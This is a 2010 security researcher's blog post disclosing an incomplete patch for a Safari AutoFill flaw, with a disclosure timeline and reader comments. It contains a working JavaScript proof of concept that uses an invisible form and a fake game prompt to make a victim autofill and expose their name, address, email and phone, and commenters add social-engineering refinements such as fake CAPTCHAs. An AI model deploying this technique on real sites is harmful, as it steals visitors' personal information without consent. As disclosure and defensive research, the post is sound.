Thursday, September 23, 2010

The Safari AutoFill hack LIVES!

Update: Live Demo available on ha.ckers.org (thanks @rsnake)

Remember the Apple Safari AutoFill vulnerability I disclosed at Black Hat USA a couple months ago? The hack where if a user visited a malicious website, even if they’ve never been there before or entered any personal information, they could have their name, address, work place, and email address exposed? The same issue where the disclosure process didn’t go all that well, but where Apple did manage to get a patch out the night before my presentation. Well, guess what!? It’s back! A little less automatic, but at the same time faster and more complete in the data exploitation. Before discussing the technical details some background is necessary.

On August 10, 2010 I emailed Apple product security explaining I thought their AutoFill patch (5.0.1) was incomplete. I also let them know of my plans to discuss the results of my research at this past AppSec USA conference. I received no immediate reply, auto-response or otherwise. So I decided to followup with another email a couple days later on Aug 13. Heard nothing back for a week. Then I get a phone call.

A gentlemen from Apple product security cordially introduces himself. We have a friendly and productive chat about what went wrong in the pre-BlackHat disclosure process and how it’ll be improved. We’re about to drop off the call when he asks that if I find any more issues to please email the product security address. That’s when it hit me! He didn’t know that I HAD recently disclosed another issue, the patch breaker, and no one replied. After cluing him in I forwarded over the email thread. The same evening I received a note from Apple apologizing for the lack of communication and stating that they are on top of it. Great.

We exchange a few ideas about potential solution. The challenge is without losing browser functionality that Apple would prefer keep implementing a solid fix is going to be difficult. Fortunately for security conscious users a patch isn’t necessarily required to protect themselves. Just disable the AutoFill feature, which is HIGHLY recommended! What Apple’s plan is to address the issue I have no idea. Anyway without receiving any objection I went ahead and demonstrated the problem to the AppSec audience. I took their pin-drop silence as a sign that they were impressed.


As before the AutoFill feature (Preferences > AutoFill > AutoFill web forms) is enabled by default in Safari v5. When form text fields have specific attribute names such as name, company, city, state, country, email, etc. AutoFill is activated when a user types the first character of the real value in the "Me" card. Like the first character of your first name, in my case “J.” These fields are AutoFill’ed using data from the users personal record in the local operating system address book. While actively in AutoFill mode a user may press TAB to have all other entries automatically filled out. That’s the functionality we’re going to take advantage of.

<* form>
Name: <* input name="name" id="name">
Company: <* input name="company" id="company">
City: <* input name="city">
State: <* input name="state">
Email: <* input name="email">
Phone: <* input name="phone">
Street: <* input name="street">
Country: <* input name="country" id="country">
Zip: <* input name="zip">
Query: <* input name="q">
Month: <* input name="month">

To perform our attack requires tiny bit of end-user trickery. Two button presses to be precise. A malicious website detects (ie: IP address) the country the victim is from. For our purposes here we'll assume the "US." The attacker invisibly (CSS transparency) sets up the aforementioned form and forces the keystroke focus into the country element. Notice how this is done in the video on the right side of the screen, which only visible for demonstration purposes. Next the attacker entices the victim to type "U" (first character of "US") and then press "TAB.” And BAM! That’s it! Data stolen.



My example uses a very contrived "to play the game" trickery, but this process can be achieved many other ways. The point is once these keys are pressed the victims personal information leaves the browser and they are none the wiser. To be clear, I picked the "country" field as the target, but really any of the "Me" card fields will do with the appropriate first character being pressed.



VIDEO DEMO



var pressU = "Pretend you are playing an online game, where the first thing you must do is press \"U\" to jump.

Go ahead, press \"U.\"";

var pressTAB = "Next, press TAB.

You know, to get more options.";

function startGame() {
var instructions = document.createElement('div');
instructions.id = "instructions";
instructions.style.width = "550px";
instructions.style.height = "500px";
instructions.style.border = "3px solid #CC9933";
instructions.style.backgroundColor = "#FFCC66";

document.body.appendChild(instructions);
instructions.innerHTML = pressU;

var input = document.getElementById('country');
input.addEventListener("keydown", function(e) {
if (instructions.innerHTML == pressU) {
if (e.keyCode == 85) {
instructions.innerHTML = pressTAB;
} else {
e.preventDefault();
}
} else if (instructions.innerHTML == pressTAB) {
if (e.keyCode == 9) {
instructions.innerHTML = "Thank you for Playing! ;)

";

var data = document.getElementById('data');

setTimeout(function() {

for (var i = 0; i < data.elements.length; i++) { var n = data.elements[i].name; var v = data.elements[i].value; instructions.innerHTML += n + ": " + v + "
\n";
}

}, 200);


} else {
e.preventDefault();
}
}

}
, false);

input.focus();

document.addEventListener("click", function(e) {input.focus();}, false);

}

21 comments:

Philip said...

To prove that you are human, type in the following phrase:

The quick brown fox jumps over the lazy dog.


That way you get them to hit every letter of the alphabet. You'll need a separate text box for each letter, and they'll have to hit tab after each, but you can let them stop as soon as you've got what you need.

Jeremiah Grossman said...

@Blues: That's clever! HAH

Gareth Heyes said...

Why do they have to type? Have you tried using JavaScript event creation in Safari to produce every letter instead?

Jhon smith said...

You'll need a separate text box for each letter, and they'll have to hit tab after each, but you can let them stop as soon as you've got what you need.

Bhima shankar said...

thanks for sharing such a nice post. keep good blogging.

Jeremiah Grossman said...

@Gareth The auto-complete system can tell the difference between real and synthetic keystroke events. That was the basis of the 5.0.1 patch.

Ed H. said...

They don't even have to hit tab between each, just set the input boxes to be one character each with auto-jump to the next box. (As is often done for phone number entry.)

Anonymous said...

So what about the other 2 Autofill types - usernames, and 'other forms'? Can this methodology be used to peruse and/or parse those, from a website other that the originating one?
I don't use the Address Card AutoFill.

SmileyBarry said...

Ironically, this exploit doesn't work on Safari for Windows 5.0.1.

Anonymous said...

Interestingly, this exploit relies on the user having a country filled out in their address book entry (or perhaps that they have, at some time, filled out a form with a country field that has since become associated with their info by Safari?). I've always been annoyed, for some inexplicable reason, by the country fields in contacts lists, and I don't have a lot of associates out of my home country, so I have always left those fields empty. Parochialism FTW!

(I suppose an enterprising criminal could figure out my city and/or state from my IP address and use that field instead to make this exploit work with slightly more complicated javascript, though...)

Aaron Bryson said...

If I was the attacked, I would not choose to attack anything involving letters (city, state, country, name, etc). Because the character space is much larger, e.g. A-Z, and a-z (Is this case sensitive Jeremiah?).

It would be much easier to attack a zip code or phone number to auto-fill all your forms and steal their information. Why? Because There only need to try digits 0-9 as the first character, and then the forms will auto-fill.

That being said, you can do something like a fake captcha.

"Please enter the the verification code you see in the picture below:"

0192837465

I would just generate random numerical strings that always contain digits 0-9 one time each for a phone number field or zip code, as it is the most likely to have been saved in the auto-form fill system.

Jeremiah Grossman said...

@Aaron No the attack is not case-sensitive, but as you say is still 1 in 26 without some knowledge of the users location. So if the country cannot be reliably guessed, then your method seems like it would be a very nice fallback. Gotta love CAPTCHAs :)

Anonymous said...

Thank you for the information !

You seemed to skip over the question
regarding the other autofill menus -
Would you please reply to that ?

Jeremiah Grossman said...

@Anon sorry, could you clarify your question?

MsheArt2 said...

Hi, sorry to be vague, I wondered, does this vulnerability also apply to the other two autofill menus, usernames & pswds, and 'other forms', I, like the other anon poster, do not use the address book.

Thanks again.

Jeremiah Grossman said...

@anon when the autocomplete state is active, pressing tab will autofill all other fields where data is available as well. Remembered passwords and usenames can be stolen another way though.

jetstar said...

Thank you very much! would hope that you will have plenty of articles or such, and more! Your article helped me a lot! Thanks

JPGoldberg said...

@anon, the username and password auto-fill is only filled for fairly specific URLs. Safari checks the URL it has associated with a particular username and password.

So this bug only exposes information which could potentially be filled on any page. That is why it is only with the address book information.

There is an issue about these auto-fill mechanisms populating forms without the user's explicit consent, which is really where the problem lies.

Good password management systems, in my biased and self-serving opinion, shouldn't populate a form without the user's explicit consent.

Disclosure: I work with Agile Web Solutions, the makers of 1Password.

Anonymous said...

Thanks for your technical post. Keep posting such a good post.

Is form auto-complete same as form auto-fill?
As you mentioned for username/password safari checks URL associated with it. Does it mean triplet (scheme, host, protocol) or just a string matching.

Al V said...

Did this finally get fixed? I've had autofill turned off since the day you first posted this, but somebody asked if it was ever patched, so I turned it back on again and it doesn't seem to be working any more.

Jeremiah Grossman said...

@Al V: It appears to be fixed, or at least changed from the way autocomplete worked previously. autocomplete now leverages a modal dialog, which is probably outside the scope of the DOM. I haven't played with any attacks, but at least my technique is protected against.